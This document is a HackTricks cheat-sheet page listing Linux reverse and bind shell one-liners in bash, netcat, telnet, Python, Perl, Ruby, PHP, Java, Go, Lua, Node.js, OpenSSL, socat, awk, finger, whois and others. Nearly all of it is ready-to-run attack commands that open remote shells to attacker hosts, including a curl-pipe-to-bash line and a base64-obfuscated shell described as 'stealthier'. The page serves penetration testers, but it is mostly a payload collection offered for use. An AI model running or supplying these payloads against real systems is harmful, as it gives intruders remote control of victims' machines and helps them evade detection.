hacktricks/shells/shells/linux.md

Shells - Linux

If you have questions about any of these shells you could check them with https://explainshell.com/****

Full TTY

Once you get a reverse shell read this page to obtain a full TTY.

Bash | sh

curl http://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
sh -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

Symbol safe shell

#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

Create in file and execute

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

Netcat

nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

Telnet

telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

Whois

Attacker

while true; do nc -l <port>; done

To send the command write it down, press enter and press CTRL+D to stop STDIN

Victim

export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done

Python

#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' 

Perl

perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Ncat

victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Lua

#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

OpenSSH

Attacker Kali

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Victim

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337 

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Awk

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Finger

Attacker

while true; do nc -l 79; done

To send the command write it down, press enter and press CTRL+D to stop STDIN

Victim

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done

Gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

Xterm

One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you 10.0.0.1 on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server :1 – which listens on TCP port 6001. One way to do this is with Xnest to be run on your system:

Xnest :1

You’ll need to authorise the target to connect to you command also run on your host:

xhost +targetip

Groovy

by frohoff NOTE: Java reverse shell also work for Groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Bibliography

{% embed url="https://highon.coffee/blog/reverse-shell-cheat-sheet/" %}

{% embed url="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell" %}

{% embed url="https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" %}